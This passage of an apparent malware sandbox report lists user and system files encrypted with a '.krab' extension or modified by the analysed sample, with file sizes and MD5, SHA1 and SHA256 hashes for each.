SHA256: a4297daef7a665954cfdf2dae0d05bccb56fe2bb77d5f49ef2d0faf1f50a2391 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm03457496[[fn=parallax]].thmx.krab 903.52 KB MD5: 1b8d393453b62995b7cad553c5076d45
SHA1: f360bacdd3bbe435d5dfa352da5995c5e1d692e5
SHA256: 69c2b9d3f6edee244f8d47505f07ca974062bf985403efb1f22adffffa03be2b 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm03457503[[fn=quotable]].thmx.krab 944.79 KB MD5: 57e192623616e29f5f94033b242e80b6
SHA1: acaf724d17666f0086c0808ee8d0ca27ca38a44f
SHA256: cdecdaa29ae951b3e068b86add4510d1003a820b5879610eb404cfa00db728d7 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm03457510[[fn=savon]].thmx.krab 1.15 MB MD5: 04f9cc53d949f7da2e76bb81085d4f2a
SHA1: d8773b358c9e698b7f3f7a0ac4cf9895bf737505
SHA256: 17181c55768f5ff2db9d48c8b6e3411fc320ee1ae8fe40b4320e006fe66c8b26 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm03457515[[fn=view]].thmx.krab 475.70 KB MD5: 02fb40e73e487f3d47e43b94348b5447
SHA1: c3dcbaded05432e09e0b1082fd3ab59c9eebd2fc
SHA256: 551ce6658e3b6d36c5f8b784758ef39b7fc50684e0c2072a9c1d31a1bbdc0fe7 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm04033917[[fn=berlin]].thmx.krab 953.63 KB MD5: 534d1531e5119b70b3ab955190a4dd65
SHA1: cd97137837d948abcaaf1e4295fb134865888559
SHA256: 2c4a654900ad1e4fd9608200fb77e6dba755f88d0d9b99e53c35f06a2f97600b 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm04033919[[fn=circuit]].thmx.krab 1.40 MB MD5: 97acf2acb657057dfb0ffa219951c317
SHA1: 172e832abdb60bd04f1b396e7f9487d0de973df0
SHA256: d4e93087a342ef64673e785bab284cedd5e8197570e82b98846abc48ccb83f98 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm04033921[[fn=damask]].thmx.krab 2.12 MB MD5: 2d9094bc042cfd4cb51202e7c6fddc8b
SHA1: 9a353ae0ededbc5db2a9d2f34b8b28865dd4920a
SHA256: 2f5cb6cf3d83a6c70f563d88bcd365788b88bfcb40b92ab5156e6963e87e2a1b 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm04033925[[fn=droplet]].thmx.krab 1.67 MB MD5: cc32fa4ec3ef82daf020b45cf0738326
SHA1: 2325037c552092e2768701635b48178412cdd32e
SHA256: 5367db778e36ba452c4cde6a261e2d56748ea693cef993fcda7ec53b362f3163 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm04033927[[fn=main event]].thmx.krab 2.79 MB MD5: 0901c1527d3bf9c4ff06e0f4fcaba63e
SHA1: 66d807139577c1ab3410e4ba822aa642e1f1ef55
SHA256: d6e074660378eece84fd79a5755098a427ba46ea1cc3e067931eaccf53b52f40 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm04033929[[fn=slate]].thmx.krab 2.25 MB MD5: f6370a5b56576d3cc1b60a61e4fb84ff
SHA1: 6553d5115afcadeadcb5146fa69e7e5cc6a27921
SHA256: 8aac22bdb4008c3d6f4de38b9758a0e98e365f6f4e3915bc7f22d783fa2ec5a9 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm04033937[[fn=vapor trail]].thmx.krab 3.44 MB MD5: ef2ec1acd2fe4f34e3975313999c5647
SHA1: f96d66201e36b5af93aba286abd935b154d48a9d
SHA256: 21db6ca9fd5417c90a1c8d5f7236391bcc9ecc84ff022e4f66ae3be9b12dcd90 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm10001103[[fn=headlines]].thmx.krab 527.47 KB MD5: fd87e443fdbbd522b6daea9407dafccb
SHA1: 2d09f56feda8e3e4b5cc8f5355466592e4886102
SHA256: a5c888ee9ecdbb2e70f7f6aea6f5e8e3cd5aedd5003de7437d31340b33deec88 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm10001104[[fn=feathered]].thmx.krab 1.96 MB MD5: 7ee27afd2fd31e219cb10ee9ad7fb8c7
SHA1: bbca7d59275e7db23678f8f36462965345b6e75e
SHA256: 8ddd4efda896b92ceb33147df26a79f8214f352b38ba4a5acd4ce5632b240817 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm10001105[[fn=crop]].thmx.krab 524.54 KB MD5: 76c614ba6e4f70aded5b15f936aad63a
SHA1: 810e76a4d0b885c07f9ba05b72165c2fc5a263f5
SHA256: 08d9d82cdcc55a7cee5be256f786e4cf0ed048f14a00573b83d68d307f70f2f6 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm10001106[[fn=badge]].thmx.krab 648.88 KB MD5: 92adfa31bcdce8aa9cc4d57a8eff30df
SHA1: d27e20975f42850cd93edecbff9d9ec47e06d661
SHA256: 3420afc751f169c5ab6473a38c492bd9d856785a58bdf93375f96681575dbcbe 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm10001114[[fn=gallery]].thmx.krab 1.04 MB MD5: 7080374d802c2625a32a7d8312d939d2
SHA1: bda9fa09084d4f0e2b9443c659842a3c5cfbe51a
SHA256: f34fbb3530e355079b9b9bcb43f3a82f425b5577af9abd9cd7764a2dba85a8b2 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\tm10001115[[fn=parcel]].thmx.krab 594.38 KB MD5: 033b7fcf9c78c767b77cfc885920a4ba
SHA1: 1b8ddf229ac0160a6e9fbf2c342ee3a82f833015
SHA256: 745046ca8e6ade46728564bae56c6cbe1708f8331e06bed332315fa540bbde82 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328884[[fn=architecture]].glox.krab 6.16 KB MD5: beddcde3f163c68988c53384c247679a
SHA1: 783e1b2342f0b9dc9985a6efb3690494ca77a7fb
SHA256: 269a2a6e71ec3e2930b359353bb625901667802382399717f6b958dbb8dcbca0 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328893[[fn=bracketlist]].glox.krab 4.44 KB MD5: 86fea6bf0830cdd30fb5abde6bf9cc5f
SHA1: 3c5e98998d0c8dfd392e5217e645f6ec1bf02804
SHA256: 096b4d16d78a479d3acdfae79b5d9ff2466507545366f4263144d6f7badb59e1 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328905[[fn=chevron accent]].glox.krab 4.65 KB MD5: 2f3b16409a7c2b24438d59ad1134a176
SHA1: eb7ede9c323c1b9244d8d3bf754b30a45aaac6ba
SHA256: d0ccb0f6a5096084a0d1808e6b83498f7b995e48f3376fb572fa066f6f2f476d 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328908[[fn=circle process]].glox.krab 16.92 KB MD5: 74b826aa4894ca31be9d2f01a39da82b
SHA1: d14cbabbdc73d87ad6c71c28aa9d2c630c44d62a
SHA256: eaf5ff6681436138475a4527e2a8f3d7deab7e745477da3dcbef4a3c9e99b415 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328916[[fn=converging text]].glox.krab 11.62 KB MD5: 981d52cad6b56fe6b23773494eff9fa2
SHA1: 80b8263e965948480a441d32210bd91b8982ca95
SHA256: 2f1f48f5823c96aa7bc1b5bace9e7525f37c2f0955531072dd99fa57024bf808 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328919[[fn=hexagon radial]].glox.krab 6.39 KB MD5: 2187d93f8422a9ccd420fd5f95d45375
SHA1: 1e16fff0b6293f6d73a7ce892203bb03791b5cbd
SHA256: 09c1aec485431de050c40f4e4eb5cf482ac5a9959327c729d2997b39f6d5e38a 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328925[[fn=interconnected block process]].glox.krab 9.48 KB MD5: 0064897e0442da410e88dee5285a9dad
SHA1: 7acecb33fe11caf6c2f66d7fd96362504df80a80
SHA256: 6a41e86be51562b922fd6a293824967f2821f67deac359fff2d86f3cdd944a55 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328932[[fn=picture frame]].glox.krab 4.73 KB MD5: 03f8107daca824c7ba3ed123ea17315c
SHA1: 7a4aa8057e386233de032f85ff85f0856f51ea29
SHA256: 5348f8f85d1144a8259800233f64e53751e37e75431fba948dfebe509ccbcf68 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328935[[fn=picture organization chart]].glox.krab 7.71 KB MD5: a4a20d0f40e8eae68be585604344c141
SHA1: e2a39e9b4d916d74a8a9d42c42a961291ca0fd01
SHA256: aa057d0735996720ed63c880d3bf9ae0c799e7681947d3caee8c473434ed52ea 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328940[[fn=radial picture list]].glox.krab 5.97 KB MD5: 3d6ce9398c7eee7c02d0f0b370205bc3
SHA1: 277d0913a672f46cc4bc2b1a293b62d6688fe924
SHA256: e4612e68e812cba02e3f212aed5ad51557f115987a3fde968fa170f8d41e6f9e 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328951[[fn=tabbed arc]].glox.krab 4.10 KB MD5: 47471cecb7bdb10a02d0036d528d91c4
SHA1: c8623ea1db978ac4c0ce38c02f1efab39aed57e9
SHA256: 8f85a4935fe649609996ec98f876cb937163bf257e1f141ff41e17eaeacad366 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328972[[fn=tab list]].glox.krab 5.28 KB MD5: 005415cb47ebbcb586420406b62d1f28
SHA1: 4688f615c166b340fd07dc8e841356f6a3c266bb
SHA256: 1218c74944b2bacd2446a8febd561c68c8c0d3a7ab2d09cecf00365fdee2a600 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328975[[fn=theme picture accent]].glox.krab 6.80 KB MD5: bd25d1b8c8ecdc568a4ea90284c3d840
SHA1: 92328401485c9e0e376ed54b8568e8f8663bd428
SHA256: 44707444d7747335c71558ffb8d17ae5ce4133978372ff3cce1ea80f86a3c504 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328983[[fn=theme picture alternating accent]].glox.krab 6.01 KB MD5: 35d1bec1f6bb713a2b0c58a7923cbef5
SHA1: 7eccb2c35448f77b0fc1316904f9a3a721c3487d
SHA256: 9e158a9bfb20f2827fba1368b789b883aac476bc668c3109b5310f267fd6ed60 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328986[[fn=theme picture grid]].glox.krab 6.56 KB MD5: 96429dcfcab758b3ca7265baefc32391
SHA1: 414ae82cc3f897e7b85d28f3784bd3376a9dd950
SHA256: 2f332acf4ffe4b1dbe99a7efd3527802ef6d1a2352f6c5fe59eb3e410b9a2a01 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328990[[fn=varying width list]].glox.krab 3.51 KB MD5: a90652e285d8a25b4a4a9d4136a7a596
SHA1: 75f8e7e454821c92e8f483a693c40bb29a63a400
SHA256: f6ec02c5f4e041bc137f41b9d84ebeea92218fc5dca7a9777015187eefdf5c4b 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328998[[fn=rings]].glox.krab 5.54 KB MD5: 35abb1b63ce9cd215247ecbcd50f8c9a
SHA1: c25437969fc62f465e9570900455c5f8c847bb28
SHA256: 58cdde6f8f3d3e5a153d9099890359fbca27f75ad0d53d9e08154165527f13d8 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\normal.dotm.krab 18.92 KB MD5: e11aa2d71ee9fa45e5e46a2cfb792e8a
SHA1: 0b5f1dcf3cb5ac62ec689e9f987bea574d375835
SHA256: c327172492a3d793d0bf174b00e1f04dfca78912118da4e5179b3a0ec3b30bc9 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\process map for basic flowchart.xltx.krab 107.88 KB MD5: f6c65d037a490932cc4c8e60fbf64953
SHA1: 1dc059fb97cdc6cc0d86c45c1ba6bef7d216fac0
SHA256: fecf5781b081363ecf2c27265639dc31f9486fd8eb18563ca28e3e773f958f66 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\process map for cross-functional flowchart.xltx.krab 141.85 KB MD5: 860fb438ac3ab40b216dd1c6f836f3c6
SHA1: 1e147259d58213b930a946e7d449ec3088fcbb46
SHA256: ca21ce34b5f0686f10c5fac6ece80287c256e42d50b4628122e2bf0a2fc1f760 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\stock symbols comparison.xltm.krab 1.39 MB MD5: 2b4e343c36b69930596c04412a6f5dee
SHA1: e0c0f252eb05d426f3a92a3cc64e403442c9ec80
SHA256: e3009b1634223dd8f60a6e7e9d11f868f14c76b8f7fcad2e1c4e1c850beeffc8 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\welcome to excel.xltx.krab 483.66 KB MD5: 4fb1b6759681260d56e5384e4c133dea
SHA1: 77984c5cab483afdafcb7dfaf13c2f44a575430d
SHA256: f9763f1cf95d88b06e7d1eaf523750fceb78704946edc5566a85c9cff65e008e 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\uproof\custom.dic.krab 0.54 KB MD5: 506bef14e483675a563e1db7359c5a9a
SHA1: 44939a63b91fa3a6729263880d882ca80c49bab9
SHA256: b7aed6767bc1d27657c8a53cd2281488b15ecd3f155eaa20e62821bfe05c4c44 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mkjuloiv-xwixtogwvo.odp.krab 12.09 KB MD5: 5ddb4030b585c0d5ef0f1df70b218fcd
SHA1: 3f81c273c4eb00ae21c3fb260977b4d1a111aae2
SHA256: 8cb81933340cfd60043e698ca6c9f5e62c692726f0358ead7034aeeab11527a8 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\crash reports\installtime20170518000419.krab 0.52 KB MD5: 3dc270963959f966c4c940ad02b03fe5
SHA1: a1d153eeb1cebfda6abd71186780d754a8ca3b39
SHA256: 61c54641a438dc84dc83cf7616b92ea3df8eec166593c2e0526924f8083fe9e1 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\addons.json.krab 0.53 KB MD5: d457e23dac145c5e3cdeb563c292f5be
SHA1: e77c79563d61c363079e2661a30f83dd35059e7f
SHA256: 3f1086c7e3b5c4474cef6388666dbcaa81f836200afc5c7a5b70cf63a1921f3f 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\blocklist-addons.json.krab 450.02 KB MD5: b0fd5b300a767ec723f6a214383e2da7
SHA1: 3d58fabd8c05f2c6045fb6940ce0e528106c2bc5
SHA256: e9bb37f71e9eabc4b7718f411c7509cbc60fb3b15c0a21ffc7087402769d0172 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\blocklist-gfx.json.krab 27.81 KB MD5: 07e5ceee3ca06666e39b565aa198795a
SHA1: 4d380f6e2ab80333491e4b9ebf267410508e074c
SHA256: ff1f880d631bbc50b045ecced1a3b0976e44e2fde0cfb437f7afaf74486bda4f 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\blocklist-plugins.json.krab 197.20 KB MD5: 7bbdabaea78ceb071cfcc8c55fe8f359
SHA1: 98380cdc952887daafc97f982c8a2502f4d971cc
SHA256: edcedf5c6f40b4647590e5f17173fcef806ea7acc48692210a6ff5fd353260f6 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\blocklist.xml.krab 252.41 KB MD5: 2172ec077e914405e8cd7648dee4a325
SHA1: be190051f9efeaecbb4e0ba3d322649a63629539
SHA256: 7b7e45b9aa4aafd1fb3345937cd51d0f62f23bc393d0b5cbe7e1a73066fef907 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\bookmarkbackups\bookmarks-2017-05-24_14_kl0o5i+exwq3txuldkmf9w==.jsonlz4.krab 1.84 KB MD5: 28f0ecd080c9941f11fa18f00f80ad6e
SHA1: 398fd0291db04696fcea3048b3df30d39ecceb82
SHA256: 84b409d67ff7d24c8083362e7be4023a26c473fcfa0c8d89e08bd59f4ec451e8 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\cert8.db.krab 96.51 KB MD5: 06fd5d22601721fae6200ab3d8d2b933
SHA1: 98f354121a19386171b03996a93324fd212a4968
SHA256: e233f6f885825837159ff6a4fea3207590898b6fd555b701764ca36741898421 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\compatibility.ini.krab 0.71 KB MD5: 1e682a43b22fc4a36949abd488be273a
SHA1: b89bf2ee9768c3a56cfb07a99454deaf8c553cb4
SHA256: 3a9985219d59bbd0576b030c2c0eb03847f2631560a4d18692091e82b3170443 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\containers.json.krab 1.30 KB MD5: d3c9107d1a636bb398d3af563ea7db2c
SHA1: 34eac51c1c8f1e0c813a18aaa17d5c09c69bf33a
SHA256: 05f4ac933c57a8777ee7b5caf5594c55e15dcffd013724d0f3a8c6202c97e7e6 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\content-prefs.sqlite.krab 224.51 KB MD5: 9b3f858065717b5fe1e08ee4e386993e
SHA1: 9e9fdb1ab9470c0f66bf14c94ce64c42b8f3677c
SHA256: adb871b2a08daade6177fd0baaa9b6a61248c1be483efbaa091c7770624c7102 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\cookies.sqlite.krab 512.51 KB MD5: 1741b7497b7fceb0663e021af714addf
SHA1: f0f67595c08b8683fab549fbb02218be4891259f
SHA256: 581eb7e6a1b25d4e6a854f698056eec1b3a33763d03223d05dec802e48f2fce7 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\crashes\store.json.mozlz4.krab 0.57 KB MD5: a6202e7e6500e1fa0cddb2a67386d871
SHA1: 3595e8f5ea5f4d8a7e34b4e15cac95131baac8d1
SHA256: 08ebf1253cd56aeff584099d5ade45330b29150311b174fb4af2c78925095787 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\datareporting\archived\2017-05\1495592260754.fe0bc3a3-866c-458a-ad46-a730981653d6.main.jsonlz4.krab 6.05 KB MD5: 6f104772df755324afaf675eb0321d6b
SHA1: cf71b1df3905fb0319c1cf3d66e6f79c04bec06e
SHA256: ced398f90a710fbed71a4b4ebd50dcd089ece9f59d949df6679c1bd6d901ce33 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\datareporting\archived\2017-05\1495592289365.f6bd7dec-4421-47ce-b829-1080689ec7ca.main.jsonlz4.krab 5.38 KB MD5: 53ce0190ffed294140c981c822e6a101
SHA1: 4011a8df8ec3b9f10b77f090d6a13ede60773a8b
SHA256: 3e474d46ff599bb1b3f247d48839e6869b82f3ed8d6b11de428fc1dc30bc1130 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\datareporting\archived\2017-05\1495596278120.31e5ce24-c2bf-486b-b29e-534113b7c6dc.main.jsonlz4.krab 5.51 KB MD5: 2d38713e89209aa47cd49f616cacc8aa
SHA1: 3be5c9cbc139b54948ec43233f82b5a619d495a7
SHA256: 9f1a075d0c118b0bdf6bf2d469bed211c2776135d4406912dcbdbc7b52c67e2b 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\datareporting\archived\2017-05\1495597242414.2e462298-aeda-4ee5-bf23-a73bdf74947f.main.jsonlz4.krab 5.68 KB MD5: b2b98c8fbeae33c47c84f2d6082bda17
SHA1: 9697a6ea81537a94f25eba46a9333ec987f1bdd6
SHA256: 717402edb7f2dbfce026b8850f17fe9f4ab942c5af2e53b65fa0013f7bec7538 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\datareporting\archived\2017-05\1495597261897.a7b36bf3-f762-448c-874e-9388e91739b4.main.jsonlz4.krab 5.66 KB MD5: 04ec07912c8184b049bfc2c08b7071dc
SHA1: 5afff4fe0b559a9936c45e35321cbd0fab087853
SHA256: 9d0da01bb1179978dba9c5147aef88294614b9383e7c8482888358e67d93d0c9 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\datareporting\archived\2017-05\1495599783008.23c86977-85eb-412a-ae39-c4c6ea9a5744.main.jsonlz4.krab 6.54 KB MD5: dbad977999c80be84e415efd5aca2d36
SHA1: 1d1b94384345473780fca5a82004e39540df8ec7
SHA256: 7bde5072b54f1425a08797b9e42d810a47a57ad755ba8f6be3cca36f58be105e 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\datareporting\archived\2017-05\1495600032629.d896fec9-1a7a-4db1-a3a2-e46d95b631a5.main.jsonlz4.krab 5.56 KB MD5: 8fcd412d1b017f12bdd819da063c9375
SHA1: fcb52cb8d3f30d63f62ad3ccece1550f6fa0ba3e
SHA256: f7c6aa493e1936618280d85f72eb7bbb2913be80a3889992b84ac69a73a007db 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\datareporting\session-state.json.krab 0.64 KB MD5: 2b130d272c7931a5c919a60b2160544a
SHA1: 33b343fbb272545fa8af7d53b9cbd672a17d7147
SHA256: 452cccce47cafa64268006f5cc416ddcfea9cf1b9cc982c3c6860bb7c0fdca23 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\datareporting\state.json.krab 0.56 KB MD5: eb07d3c5778ade3c3c14b5015cd4b8fd
SHA1: 7efa9e015d0d1d44b78276c989bddcd6b2c1feb1
SHA256: b2890ad48aea2e2c531caaa8eab80a36579d4b8e27656b5f3d3fa1ddd3f21826 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\extensions.ini.krab 0.69 KB MD5: 31e437eb704643d6895e48ca689546ba
SHA1: da1acce8c7865c267929e8e7909259e9a5759885
SHA256: 6ba7135515a880025cdfc44ff01b3936419df0ce766352e1fda02674f20653c0 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\extensions.json.krab 6.30 KB MD5: 3f68e8e5e784c1f07757df2967c7cfeb
SHA1: 6d97bbb6d916e6faea76e86a77964b73e55a6096
SHA256: 943ba53640bf4c07ccccefa488e385d1f42d7b01f0c922b41878f5073362c35f 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\formhistory.sqlite.krab 192.51 KB MD5: 0af2fdf41521800a49fd5f368a3fb8a5
SHA1: c20d5b5226a49b760a82d39353405fc2bba7d111
SHA256: 2fe27b2a5c08eb70731d2b0d35a293f6d523268a514896cc7f6cc114beace715 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\gmp-gmpopenh264\1.6\gmpopenh264.info.krab 0.62 KB MD5: 7e0ff5faa69deb4a2570a5f79e8753fc
SHA1: f0893a34d1a41be0c398233103062bd1af4f3580
SHA256: 4c0002593ca2ff9b9f391394f6889845b15c049bf6e13ffb9ae4afdde3ae8244 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\mozilla\firefox\profiles\8i341t8m.default\gmp-widevinecdm\1.4.8.903\license.txt.krab 0.98 KB MD5: 1649653afa934d7c01155bda99d8ad77
SHA1: 17193be2c5783bfb1501c607060716bee4097557
SHA256: 917d68a2e2c6dc1e02ea7944a9b7b8c7ab2178857b246c003b86933a6f9e1537 		False
...
Modified Files
»
Filename File Size Hash Values YARA Match Actions
c:\recovery\windowsre\boot.sdi 3.02 MB MD5: 89052d3bae962c4e4fbf690852ea2779
SHA1: 656d2fd652265167b13b41848290f552f7686ca2
SHA256: 8f94d82a45f6d17967b1baf8bd922db3e4a7c390ba97a74dee08790f896bab00 		False
...
c:\recovery\windowsre\reagent.xml 1.52 KB MD5: 5f1337465a22284ee9db6620ef11bccf
SHA1: d7b398a6f40871009418a6e4aad1b8ad75b32aae
SHA256: 15600e38e2ad8ec6cc5ae7b662260653ac6346c4ff4d185b80387ffbb97a419d 		False
...
c:\recovery\windowsre\winre.wim 10.00 MB MD5: 7ec12969f7c7635ed6703ff9e0a8077f
SHA1: 5df03e627e78950d0a86d11b2a5965f276a905af
SHA256: 977a9c38b5449aa019385e5548674abfc65da4782758759fbaa30eb729c66588 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\1kyvuc.mp4 14.57 KB MD5: 4e3229927b6518664a9e8eabd743c4cd
SHA1: 1948f7bd2ac09ec8c92c44f7a2bee416410e05f9
SHA256: be13fa8695a3fbc97382937d1690f502b8fd0f5d8a896cd927e4543cf509d30f 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\3jiaq04ky uur8j.wav 92.33 KB MD5: b7280101f2d2a25bbd460782722421f1
SHA1: 8fe6d72409c905c23ccbc2ce8b076270cb1f736f
SHA256: 933bf8a61f16c1bbd3e11e0f50a22e46cfd2c598e08788b4bc50c5c6680a6ba2 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\4 xo3.pdf 98.70 KB MD5: 072807156b047f0cb683ac531d03d0fa
SHA1: d58b3b381cd428b410a5caf9125485cdc71e0fe8
SHA256: 08e2d3f057b9078fa7b6ddf06139cf7affdb2975d6ca1f311611436278905645 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\7bsumngp.pptx 66.24 KB MD5: 1b7e77c26b30a17bfad959d9e2f151e3
SHA1: 6227553fa109c8ec92ba7920208db3631c93588b
SHA256: 264d123ea60115340f1b014438dd5c63180deef2e4dadef3d0bf663717eea980 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\7jr7i.avi 97.63 KB MD5: 94f929a33fb4ab00b47f83be029bbc56
SHA1: 142ddb518670c765587146394ad07c507d58e328
SHA256: c4585b121eacdfbacee8a86dafe8483a3b510677d70822b665cb412e7e54a0be 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\adobe\acrobat\dc\jscache\globdata 0.53 KB MD5: 81ea1c2b02f28117e4b10113d5393212
SHA1: c0915114a9c85aab0d97e07427dbd351d73423f3
SHA256: c622d960578decf215bacd0ae0128688dbe39d326baf951e60f0385d8f27215c 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\adobe\acrobat\dc\jscache\globsettings 0.53 KB MD5: 777aeeee44d8ff80740ae6ce7c705752
SHA1: 10370d0702996a049f10d41e4b4a75af0493a107
SHA256: 8622381c3a1c8576501941028556eebcb42a053fdf987516d8e1940f10f21e8d 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\adobe\acrobat\dc\security\addressbook.acrodata 11.15 KB MD5: 470e08f44dfb384bc0472e89a06f9e89
SHA1: 8a874501f0f2adb32d17111c06c05d4691e564bf
SHA256: 01f4292c16112f67b803599f5c8874c3756b244ff57ee2296a675b36eb3e0626 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\adobe\acrobat\dc\security\crlcache\0fded5ceb68c302b1cdb2bddd9d0000e76539cb0.crl 1.13 KB MD5: 3750b5ffcfb5c818d3ed62435c227961
SHA1: 181f87c61467500fc9453178d0f976a4436ccddd
SHA256: 9ad2bf633c398a4a4e50d1f05c44211b1357b6dd0a8d27aa31ac6c48798bb544 		False
...
